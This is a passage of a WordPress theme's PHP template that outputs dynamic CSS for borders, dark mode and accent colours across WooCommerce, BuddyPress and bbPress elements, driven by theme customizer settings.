td, .woocommerce div.product .woocommerce-tabs #tab-description th, .woocommerce-product-details__short-description td, th, .woocommerce ul.cart_list li, .woocommerce ul.product_list_widget li, .woocommerce .widget_shopping_cart .total, .woocommerce.widget_shopping_cart .total, .woocommerce .woocommerce-product-search input[type="search"], .woocommerce nav.woocommerce-pagination ul li a, .woocommerce nav.woocommerce-pagination ul li span, .woocommerce div.product .product_meta, .woocommerce div.product .woocommerce-tabs ul.tabs, .woocommerce div.product .related > h2, .woocommerce div.product .upsells > h2, .woocommerce #reviews #comments ol.commentlist li .comment-text, .woocommerce table.shop_table td, .post-entry td, .post-entry th, #add_payment_method .cart-collaterals .cart_totals tr td, #add_payment_method .cart-collaterals .cart_totals tr th, .woocommerce-cart .cart-collaterals .cart_totals tr td, .woocommerce-cart .cart-collaterals .cart_totals tr th, .woocommerce-checkout .cart-collaterals .cart_totals tr td, .woocommerce-checkout .cart-collaterals .cart_totals tr th, .woocommerce-cart .cart-collaterals .cart_totals table, .woocommerce-cart table.cart td.actions .coupon .input-text, .woocommerce table.shop_table a.remove, .woocommerce form .form-row .input-text, .woocommerce-page form .form-row .input-text, .woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message, .woocommerce form.checkout_coupon, .woocommerce form.login, .woocommerce form.register, .woocommerce form.checkout table.shop_table, .woocommerce-checkout #payment ul.payment_methods, .post-entry table, .wrapper-penci-review, .penci-review-container.penci-review-count, #penci-demobar .style-toggle, #widget-area, .post-entry hr, .wpb_text_column hr, #buddypress .dir-search input[type=search], #buddypress .dir-search input[type=text], #buddypress .groups-members-search input[type=search], #buddypress .groups-members-search input[type=text], #buddypress ul.item-list, #buddypress .profile[role=main], #buddypress select, #buddypress div.pagination .pagination-links span, #buddypress div.pagination .pagination-links a, #buddypress div.pagination .pag-count, #buddypress div.pagination .pagination-links a:hover, #buddypress ul.item-list li, #buddypress table.forum tr td.label, #buddypress table.messages-notices tr td.label, #buddypress table.notifications tr td.label, #buddypress table.notifications-settings tr td.label, #buddypress table.profile-fields tr td.label, #buddypress table.wp-profile-fields tr td.label, #buddypress table.profile-fields:last-child, #buddypress form#whats-new-form textarea, #buddypress .standard-form input[type=text], #buddypress .standard-form input[type=color], #buddypress .standard-form input[type=date], #buddypress .standard-form input[type=datetime], #buddypress .standard-form input[type=datetime-local], #buddypress .standard-form input[type=email], #buddypress .standard-form input[type=month], #buddypress .standard-form input[type=number], #buddypress .standard-form input[type=range], #buddypress .standard-form input[type=search], #buddypress .standard-form input[type=password], #buddypress .standard-form input[type=tel], #buddypress .standard-form input[type=time], #buddypress .standard-form input[type=url], #buddypress .standard-form input[type=week], .bp-avatar-nav ul, .bp-avatar-nav ul.avatar-nav-items li.current, #bbpress-forums li.bbp-body ul.forum, #bbpress-forums li.bbp-body ul.topic, #bbpress-forums li.bbp-footer, .bbp-pagination-links a, .bbp-pagination-links span.current, .wrapper-boxed .bbp-pagination-links a:hover, .wrapper-boxed .bbp-pagination-links span.current, #buddypress .standard-form select, #buddypress .standard-form input[type=password], #buddypress .activity-list li.load-more a, #buddypress .activity-list li.load-newest a, #buddypress ul.button-nav li a, #buddypress div.generic-button a, #buddypress .comment-reply-link, #bbpress-forums div.bbp-template-notice.info, #bbpress-forums #bbp-search-form #bbp_search, #bbpress-forums .bbp-forums-list, #bbpress-forums #bbp_topic_title, #bbpress-forums #bbp_topic_tags, #bbpress-forums .wp-editor-container, .widget_display_stats dd, .widget_display_stats dt, div.bbp-forum-header, div.bbp-topic-header, div.bbp-reply-header, .widget input[type="text"], .widget input[type="email"], .widget input[type="date"], .widget input[type="number"], .widget input[type="search"], .widget input[type="password"], blockquote.wp-block-quote, .post-entry blockquote.wp-block-quote, .wp-block-quote:not(.is-large):not(.is-style-large), .post-entry pre, .wp-block-pullquote:not(.is-style-solid-color), .post-entry hr.wp-block-separator, .wp-block-separator, .wp-block-latest-posts, .wp-block-yoast-how-to-block ol.schema-how-to-steps, .wp-block-yoast-how-to-block ol.schema-how-to-steps li, .wp-block-yoast-faq-block .schema-faq-section, .post-entry .wp-block-quote, .wpb_text_column .wp-block-quote, .woocommerce .page-description .wp-block-quote, .wp-block-search .wp-block-search__input{ border-color: var(--pcborder-cl); }
            .penci-recipe-index-wrap h4.recipe-index-heading > span:before, .penci-recipe-index-wrap h4.recipe-index-heading > span:after{ border-color: var(--pcborder-cl); opacity: 1; }
            .tags-share-box .single-comment-o:after, .post-share a.penci-post-like:after{ background-color: var(--pcborder-cl); }
            .penci-grid .list-post.list-boxed-post{ border-color: var(--pcborder-cl) !important; }
            .penci-post-box-meta.penci-post-box-grid:before, .woocommerce .widget_price_filter .ui-slider .ui-slider-range{ background-color: var(--pcborder-cl); }
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts{ border-color: var(--pcborder-cl) !important; }
            .penci-vernav-enable .penci-menu-hbg{ box-shadow: none; -webkit-box-shadow: none; -moz-box-shadow: none; }
            .penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg{ border-right: 1px solid var(--pcborder-cl); }
            .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg{ border-left: 1px solid var(--pcborder-cl); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_content_h' ) ) : ?>
			.penci-sg-cth:not(.show-full) {max-height:<?php echo get_theme_mod( 'penci_single_content_h' ); ?>px;overflow: hidden;position: relative;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_content_hm' ) ) : ?>
			@media only screen and (max-width: 767px) {
				.penci-sg-cth:not(.show-full) {max-height:<?php echo get_theme_mod( 'penci_single_content_hm' ); ?>px;overflow: hidden;position: relative;}
			}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_enable_dark_layout' ) ): ?>
            body.pcdark-mode {
            --pcmeta-cl: <?php echo penci_get_setting( 'penci_meta_color_dark' ); ?>;
            --pctext-cl: <?php echo penci_get_setting( 'penci_text_color_dark' ); ?>;
            --pcheading-cl: #f5f5f5;
            }

            body.pcdark-mode,
            body.pcdark-mode .penci-post-box-meta .penci-post-share-box a,
            body.pcdark-mode .penci-pagination a,
            body.pcdark-mode .penci-pagination .disable-url,
            body.pcdark-mode .widget-social a i,
            body.pcdark-mode .post-share a,
            body.pcdark-mode #respond textarea,
            body.pcdark-mode .wpcf7 textarea,
            body.pcdark-mode #respond input,
            body.pcdark-mode .wpcf7 input,
            body.pcdark-mode .widget_wysija input,
            body.pcdark-mode #respond h3 small a,
            body.pcdark-mode #respond h3 small a:hover,
            body.pcdark-mode .post-comments span.reply a,
            body.pcdark-mode .post-comments span.reply a:hover,
            body.pcdark-mode .thecomment .comment-text span.author,
            body.pcdark-mode .thecomment .comment-text span.author a,
            body.pcdark-mode #respond h3.comment-reply-title span,
            body.pcdark-mode .post-box-title,
            body.pcdark-mode .post-pagination a,
            body.pcdark-mode .post-pagination span,
            body.pcdark-mode .author-content .author-social,
            body.pcdark-mode .author-content h5 a,
            body.pcdark-mode .error-404 .sub-heading-text-404,
            body.pcdark-mode form.pc-searchform input.search-input,
            body.pcdark-mode input,
            body.pcdark-mode .penci-pagination ul.page-numbers li span,
            body.pcdark-mode .penci-pagination ul.page-numbers li a,
            body.pcdark-mode #comments_pagination span,
            body.pcdark-mode #comments_pagination a,
            body.pcdark-mode .item-related h3 a,
            body.pcdark-mode .archive-box span,
            body.pcdark-mode .archive-box h1,
            body.pcdark-mode .header-standard .author-post span a,
            body.pcdark-mode .post-entry h1,
            body.pcdark-mode .post-entry h2,
            body.pcdark-mode .post-entry h3,
            body.pcdark-mode .post-entry h4,
            body.pcdark-mode .post-entry h5,
            body.pcdark-mode .post-entry h6,
            body.pcdark-mode .wpb_text_column h1,
            body.pcdark-mode .wpb_text_column h2,
            body.pcdark-mode .wpb_text_column h3,
            body.pcdark-mode .wpb_text_column h4,
            body.pcdark-mode .wpb_text_column h5,
            body.pcdark-mode .wpb_text_column h6,
            body.pcdark-mode .tags-share-box.hide-tags.page-share .share-title,
            body.pcdark-mode .about-widget .about-me-heading,
            body.pcdark-mode .penci-tweets-widget-content .tweet-text,
            body.pcdark-mode .widget select,
            body.pcdark-mode .widget ul li,
            body.pcdark-mode .widget .tagcloud a,
            body.pcdark-mode #wp-calendar caption,
            body.pcdark-mode .woocommerce .page-title,
            body.pcdark-mode .woocommerce ul.products li.product h3,
            body.pcdark-mode .woocommerce ul.products li.product .woocommerce-loop-product__title,
            body.pcdark-mode .woocommerce .widget_price_filter .price_label,
            body.pcdark-mode .woocommerce .woocommerce-product-search input[type="search"],
            body.pcdark-mode .woocommerce nav.woocommerce-pagination ul li a,
            body.pcdark-mode .woocommerce nav.woocommerce-pagination ul li span,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h1,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h2,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h3,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h4,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h5,
            body.pcdark-mode .woocommerce div.product .entry-summary div[itemprop="description"] h6,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h1,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h2,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h3,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h4,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h5,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description h6,
            body.pcdark-mode .woocommerce-product-details__short-description h1,
            body.pcdark-mode .woocommerce-product-details__short-description h2,
            body.pcdark-mode .woocommerce-product-details__short-description h3,
            body.pcdark-mode .woocommerce-product-details__short-description h4,
            body.pcdark-mode .woocommerce-product-details__short-description h5,
            body.pcdark-mode .woocommerce-product-details__short-description h6,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs .panel>h2:first-child,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title,
            body.pcdark-mode .woocommerce div.product .related>h2,
            body.pcdark-mode .woocommerce div.product .upsells>h2,
            body.pcdark-mode .woocommerce div.product .woocommerce-tabs ul.tabs li a,
            body.pcdark-mode .woocommerce .comment-form p.stars a,
            body.pcdark-mode .woocommerce #reviews #comments ol.commentlist li .comment-text .meta strong,
            body.pcdark-mode .woocommerce table.shop_table a.remove,
            body.pcdark-mode .woocommerce table.shop_table td.product-name a,
            body.pcdark-mode .woocommerce table.shop_table th,
            body.pcdark-mode .woocommerce form .form-row .input-text,
            body.pcdark-mode .woocommerce-page form .form-row .input-text,
            body.pcdark-mode.woocommerce .page-title,
            body.pcdark-mode.woocommerce ul.products li.product h3,
            body.pcdark-mode.woocommerce ul.products li.product .woocommerce-loop-product__title,
            body.pcdark-mode.woocommerce .widget_price_filter .price_label,
            body.pcdark-mode.woocommerce .woocommerce-product-search input[type="search"],
            body.pcdark-mode.woocommerce nav.woocommerce-pagination ul li a,
            body.pcdark-mode.woocommerce nav.woocommerce-pagination ul li span,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h1,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h2,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h3,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h4,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h5,
            body.pcdark-mode.woocommerce div.product .entry-summary div[itemprop="description"] h6,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h1,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h2,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h3,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h4,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h5,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h6,
            body.pcdark-mode.woocommerce-product-details__short-description h1,
            body.pcdark-mode.woocommerce-product-details__short-description h2,
            body.pcdark-mode.woocommerce-product-details__short-description h3,
            body.pcdark-mode.woocommerce-product-details__short-description h4,
            body.pcdark-mode.woocommerce-product-details__short-description h5,
            body.pcdark-mode.woocommerce-product-details__short-description h6,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel>h2:first-child,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title,
            body.pcdark-mode.woocommerce div.product .related>h2,
            body.pcdark-mode.woocommerce div.product .upsells>h2,
            body.pcdark-mode.woocommerce div.product .woocommerce-tabs ul.tabs li a,
            body.pcdark-mode.woocommerce .comment-form p.stars a,
            body.pcdark-mode.woocommerce #reviews #comments ol.commentlist li .comment-text .meta strong,
            body.pcdark-mode.woocommerce table.shop_table a.remove,
            body.pcdark-mode.woocommerce table.shop_table td.product-name a,
            body.pcdark-mode.woocommerce table.shop_table th,
            body.pcdark-mode.woocommerce form .form-row .input-text,
            body.pcdark-mode.woocommerce-page form .form-row .input-text,
            body.pcdark-mode .penci-page-header h1,
            body.pcdark-mode .demobar-title,
            body.pcdark-mode .demobar-desc,
            body.pcdark-mode .container-single .post-share a,
            body.pcdark-mode .page-share .post-share a,
            body.pcdark-mode .footer-instagram h4.footer-instagram-title,
            body.pcdark-mode .post-entry .penci-portfolio-filter ul li a,
            body.pcdark-mode .penci-portfolio-filter ul li a,
            body.pcdark-mode .widget-social.show-text a span,
            body.pcdark-mode #buddypress select,
            body.pcdark-mode #buddypress div.pagination .pagination-links a:hover,
            body.pcdark-mode #buddypress div.pagination .pagination-links span,
            body.pcdark-mode #buddypress div.pagination .pagination-links a,
            body.pcdark-mode #buddypress div.pagination .pag-count,
            body.pcdark-mode #buddypress ul.item-list li div.item-title span,
            body.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a,
            body.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li>span,
            body.pcdark-mode #buddypress div#item-header div#item-meta,
            body.pcdark-mode #buddypress form#whats-new-form textarea,
            body.pcdark-mode #buddypress .standard-form input[type=text],
            body.pcdark-mode #buddypress .standard-form input[type=color],
            body.pcdark-mode #buddypress .standard-form input[type=date],
            body.pcdark-mode #buddypress .standard-form input[type=datetime],
            body.pcdark-mode #buddypress .standard-form input[type=datetime-local],
            body.pcdark-mode #buddypress .standard-form input[type=email],
            body.pcdark-mode #buddypress .standard-form input[type=month],
            body.pcdark-mode #buddypress .standard-form input[type=number],
            body.pcdark-mode #buddypress .standard-form input[type=range],
            body.pcdark-mode #buddypress .standard-form input[type=search],
            body.pcdark-mode #buddypress .standard-form input[type=password],
            body.pcdark-mode #buddypress .standard-form input[type=tel],
            body.pcdark-mode #buddypress .standard-form input[type=time],
            body.pcdark-mode #buddypress .standard-form input[type=url],
            body.pcdark-mode #buddypress .standard-form input[type=week],
            body.pcdark-mode #buddypress ul.button-nav li a,
            body.pcdark-mode #buddypress div.generic-button a,
            body.pcdark-mode #buddypress .comment-reply-link,
            body.pcdark-mode .wrapper-boxed .bbp-pagination-links a,
            body.pcdark-mode .wrapper-boxed .bbp-pagination-links a:hover,
            body.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current,
            body.pcdark-mode #buddypress .activity-list li.load-more a,
            body.pcdark-mode #buddypress .activity-list li.load-newest a,
            body.pcdark-mode .activity-inner,
            body.pcdark-mode #buddypress a.activity-time-since,
            body.pcdark-mode .activity-greeting,
            body.pcdark-mode div.bbp-template-notice,
            body.pcdark-mode div.indicator-hint,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-topic-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-reply-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-freshness a,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-forum-topic-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-voice-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-forum-reply-count,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness>a,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-freshness,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-reply-count,
            body.pcdark-mode div.bbp-template-notice a,
            body.pcdark-mode #bbpress-forums #bbp-search-form #bbp_search,
            body.pcdark-mode #bbpress-forums .wp-editor-container,
            body.pcdark-mode #bbpress-forums div.bbp-the-content-wrapper textarea.bbp-the-content,
            body.pcdark-mode .widget_display_stats dd,
            body.pcdark-mode #bbpress-forums fieldset.bbp-form legend,
            body.pcdark-mode #bbpress-forums .bbp-pagination-count,
            body.pcdark-mode span.bbp-admin-links a,
            body.pcdark-mode .bbp-forum-header a.bbp-forum-permalink,
            body.pcdark-mode .bbp-topic-header a.bbp-topic-permalink,
            body.pcdark-mode .bbp-reply-header a.bbp-reply-permalink,
            body.pcdark-mode #bbpress-forums .status-closed,
            body.pcdark-mode #bbpress-forums .status-closed a,
            body.pcdark-mode .post-entry blockquote.wp-block-quote p,
            body.pcdark-mode .wpb_text_column blockquote.wp-block-quote p,
            body.pcdark-mode .post-entry blockquote.wp-block-quote cite,
            body.pcdark-mode .wpb_text_column blockquote.wp-block-quote cite,
            body.pcdark-mode .post-entry code,
            body.pcdark-mode .wp-block-video figcaption,
            body.pcdark-mode .post-entry .wp-block-pullquote blockquote p,
            body.pcdark-mode .post-entry .wp-block-pullquote blockquote cite,
            body.pcdark-mode .wp-block-categories .category-item-count {
            color: var(--pctext-cl);
            }

            body.pcdark-mode .woocommerce .widget_price_filter .ui-slider .ui-slider-handle,
            body.pcdark-mode .post-entry .wp-block-file a.wp-block-file__button {
            background-color: var(--pctext-cl);
            }

            body.pcdark-mode .penci-owl-carousel-slider .penci-owl-dot span {
            background-color: var(--pctext-cl);
            border-color: var(--pctext-cl);
            }

            body.pcdark-mode .grid-post-box-meta span,
            body.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta,
            body.pcdark-mode .grid-post-box-meta span a,
            body.pcdark-mode .penci-post-box-meta .penci-box-meta span,
            body.pcdark-mode .penci-post-box-meta .penci-box-meta a,
            body.pcdark-mode .header-standard .author-post span,
            body.pcdark-mode .thecomment .comment-text span.date,
            body.pcdark-mode .item-related span.date,
            body.pcdark-mode .post-box-meta-single span,
            body.pcdark-mode .container.penci-breadcrumb span,
            body.pcdark-mode .container.penci-breadcrumb span a,
            body.pcdark-mode .container.penci-breadcrumb a,
            body.pcdark-mode .container.penci-breadcrumb i,
            body.pcdark-mode .penci-container-inside.penci-breadcrumb span,
            body.pcdark-mode .penci-container-inside.penci-breadcrumb span a,
            body.pcdark-mode .penci-container-inside.penci-breadcrumb a,
            body.pcdark-mode .penci-container-inside.penci-breadcrumb i,
            body.pcdark-mode .overlay-post-box-meta,
            body.pcdark-mode .overlay-post-box-meta .overlay-share span,
            body.pcdark-mode .overlay-post-box-meta .overlay-share a,
            body.pcdark-mode .woocommerce #reviews #comments ol.commentlist li .comment-text .meta,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content,
            body.pcdark-mode #bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta,
            body.pcdark-mode #bbpress-forums .bbp-breadcrumb a,
            body.pcdark-mode #bbpress-forums .bbp-breadcrumb .bbp-breadcrumb-current,
            body.pcdark-mode .bbp-breadcrumb .bbp-breadcrumb-sep,
            body.pcdark-mode #bbpress-forums .bbp-topic-started-by,
            body.pcdark-mode #bbpress-forums .bbp-topic-started-in {
            color: var(--pcmeta-cl);
            }

            body.pcdark-mode .penci-review-process {
            background-color: var(--pcmeta-cl);
            }

            body.pcdark-mode .post-entry .wp-block-file a.wp-block-file__button {
            color: var(--pcbg-cl);
            }

            body.pcdark-mode .pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts {
            color: var(--pctext-cl) !important;
            border-color: var(--pcborder-cl) !important;
            }

            body.pcdark-mode .widget ul.side-newsfeed li .order-border-number {
            background-color: rgba(255, 255, 255, 0.2);
            box-shadow: 0px 1px 2px 0px rgba(0, 0, 0, 0.1);
            }

            body.pcdark-mode .widget ul.side-newsfeed li .number-post {
            background-color: #212121;
            }

            .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit],
            .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],
            .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,
            .pcdark-mode #respond #submit,
            .pcdark-mode .wpcf7 input[type="submit"],
            .pcdark-mode .widget_wysija input[type="submit"],
            .pcdark-mode .widget input[type="submit"],
            .pcdark-mode .penci-user-logged-in .penci-user-action-links a,
            .pcdark-mode .penci-button,
            .pcdark-mode .widget button[type="submit"],
            .pcdark-mode .woocommerce #respond input#submit,
            .pcdark-mode .woocommerce a.button,
            .pcdark-mode .woocommerce button.button,
            .pcdark-mode .woocommerce input.button,
            .pcdark-mode.woocommerce #respond input#submit,
            .pcdark-mode.woocommerce a.button,
            .pcdark-mode.woocommerce button.button,
            .pcdark-mode.woocommerce input.button,
            .pcdark-mode #bbpress-forums #bbp_reply_submit,
            .pcdark-mode #bbpress-forums #bbp_topic_submit,
            .pcdark-mode #main .bbp-login-form .bbp-submit-wrapper button[type="submit"] {
            background: #444;
            color: #f9f9f9;
            }

            .pcdark-mode #wp-calendar tbody td,
            .pcdark-mode #wp-calendar tbody td:hover {
            background: none;
            }

            .pcdark-mode .woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content {
            background-color: #636363;
            }

            .pcdark-mode .is-sticky #navigation,
            .pcdark-mode #navigation .menu .sub-menu,
            .pcdark-mode #navigation .menu .children,
            .pcdark-mode .penci-dropdown-menu {
            box-shadow: 0px 1px 5px rgba(255, 255, 255, 0.08);
            -webkit-box-shadow: 0px 1px 5px rgba(255, 255, 255, 0.08);
            -moz-box-shadow: 0px 1px 5px rgba(255, 255, 255, 0.08);
            }

            .pcdark-mode .penci-image-holder:not([style*='background-image']),
            .pcdark-mode .penci-lazy[src*="penci-holder"],
            .pcdark-mode .penci-holder-load:not([style*='background-image']) {
            background-color: #333333;
            background-image: linear-gradient(to left, #333333 0%, #383838 15%, #333333 40%, #333333 100%);
            }

            .pcdark-mode #penci-demobar .style-toggle,
            .pcdark-mode #penci-demobar {
            box-shadow: -1px 2px 10px 0 rgba(255, 255, 255, .15);
            -webkit-box-shadow: -1px 2px 10px 0 rgba(255, 255, 255, .15);
            -moz-box-shadow: -1px 2px 10px 0 rgba(255, 255, 255, .15);
            }

            .pcdark-mode .penci-page-header h1 {
            color: #fff;
            }

            .pcdark-mode .post-entry.blockquote-style-2 blockquote,
            .pcdark-mode .wp-block-quote.is-style-large,
            .pcdark-mode .wp-block-quote.is-large {
            background: #2b2b2b;
            }

            .pcdark-mode .penci-overlay-over .overlay-border {
            opacity: 0.5;
            }

            .pcdark-mode .post-entry pre,
            .pcdark-mode .post-entry code,
            .pcdark-mode .wp-block-table.is-style-stripes tr:nth-child(odd),
            .pcdark-mode .post-entry pre.wp-block-verse,
            .pcdark-mode .post-entry .wp-block-verse pre,
            .pcdark-mode .wp-block-pullquote.is-style-solid-color {
            background-color: #333333;
            }

            .pcdark-mode .post-entry blockquote.wp-block-quote cite,
            .pcdark-mode .wpb_text_column blockquote.wp-block-quote cite {
            opacity: 0.6;
            }

            .pcdark-mode .penci-pagination ul.page-numbers li a:hover,
            .pcdark-mode #comments_pagination a:hover,
            .pcdark-mode .woocommerce nav.woocommerce-pagination ul li a:hover {
            color: #dedede;
            border-color: #777777;
            }

            .pcdark-mode #buddypress div.item-list-tabs,
            .pcdark-mode #buddypress .comment-reply-link,
            .pcdark-mode #buddypress .generic-button a,
            .pcdark-mode #buddypress .standard-form button,
            .pcdark-mode #buddypress a.button,
            .pcdark-mode #buddypress input[type=button],
            .pcdark-mode #buddypress input[type=reset],
            .pcdark-mode #buddypress input[type=submit],
            .pcdark-mode #buddypress ul.button-nav li a,
            .pcdark-mode a.bp-title-button,
            .pcdark-mode #bbpress-forums li.bbp-header,
            .pcdark-mode #bbpress-forums div.bbp-forum-header,
            .pcdark-mode #bbpress-forums div.bbp-topic-header,
            .pcdark-mode #bbpress-forums div.bbp-reply-header {
            background-color: #252525;
            }

            .pcdark-mode #buddypress .comment-reply-link,
            .pcdark-mode #buddypress .generic-button a,
            .pcdark-mode #buddypress .standard-form button,
            .pcdark-mode #buddypress a.button,
            .pcdark-mode #buddypress input[type=button],
            .pcdark-mode #buddypress input[type=reset],
            .pcdark-mode #buddypress input[type=submit],
            .pcdark-mode #buddypress ul.button-nav li a,
            .pcdark-mode a.bp-title-button {
            border-color: #252525;
            }

            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.selected a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.current a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a:hover,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.selected a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.current a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a:hover {
            color: #fff;
            }

            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a,
            .pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li>span {
            border-color: #313131;
            }

            .pcdark-mode .pcnav-lgroup ul ul {
            background-color: rgba(0, 0, 0, 0.9);
            }
			<?php if ( get_theme_mod( 'penci_post_caption_below' ) ): ?>
                .wp-caption p.wp-caption-text, .penci-featured-caption{ color: var(--pcmeta-cl); }
			<?php endif; ?>
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_general_text_color' ) ): ?>
			.editor-styles-wrapper,
            body:not(.pcdm-enable){ color: <?php echo get_theme_mod( 'penci_general_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_color_accent' ) ): ?>
			.editor-styles-wrapper,
            body{ --pcaccent-cl: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after,.tags-share-box.tags-share-box-s2 .post-share-plike,.penci-video_playlist .penci-playlist-title,.pencisc-column-2.penci-video_playlist
            .penci-video-nav .playlist-panel-item, .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb, .pencisc-button, .post-entry .pencisc-button, .penci-dropcap-box, .penci-dropcap-circle, .penci-login-register input[type="submit"]:hover, .penci-ld .penci-ldin:before, .penci-ldspinner > div{ background: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            a, .post-entry .penci-portfolio-filter ul li a:hover, .penci-portfolio-filter ul li a:hover, .penci-portfolio-filter ul li.active a, .post-entry .penci-portfolio-filter ul li.active a, .penci-countdown .countdown-amount, .archive-box h1, .post-entry a, .container.penci-breadcrumb span a:hover,.container.penci-breadcrumb a:hover, .post-entry blockquote:before, .post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote:before, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .penci-pagination a:hover, ul.penci-topbar-menu > li a:hover, div.penci-topbar-menu > ul > li a:hover, .penci-recipe-heading a.penci-recipe-print,.penci-review-metas .penci-review-btnbuy, .main-nav-social a:hover, .widget-social .remove-circle a:hover i, .penci-recipe-index .cat > a.penci-cat-name, #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a:hover, #bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a:hover, #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content a, #bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta a, #bbpress-forums .bbp-breadcrumb a:hover, #bbpress-forums .bbp-forum-freshness a:hover, #bbpress-forums .bbp-topic-freshness a:hover, #buddypress ul.item-list li div.item-title a, #buddypress ul.item-list li h4 a, #buddypress .activity-header a:first-child, #buddypress .comment-meta a:first-child, #buddypress .acomment-meta a:first-child, div.bbp-template-notice a:hover, .penci-menu-hbg .menu li a .indicator:hover, .penci-menu-hbg .menu li a:hover, #sidebar-nav .menu li a:hover, .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover, .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover, .penci_list_shortcode li:before, .penci-dropcap-box-outline, .penci-dropcap-circle-outline, .penci-dropcap-regular, .penci-dropcap-bold{ color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
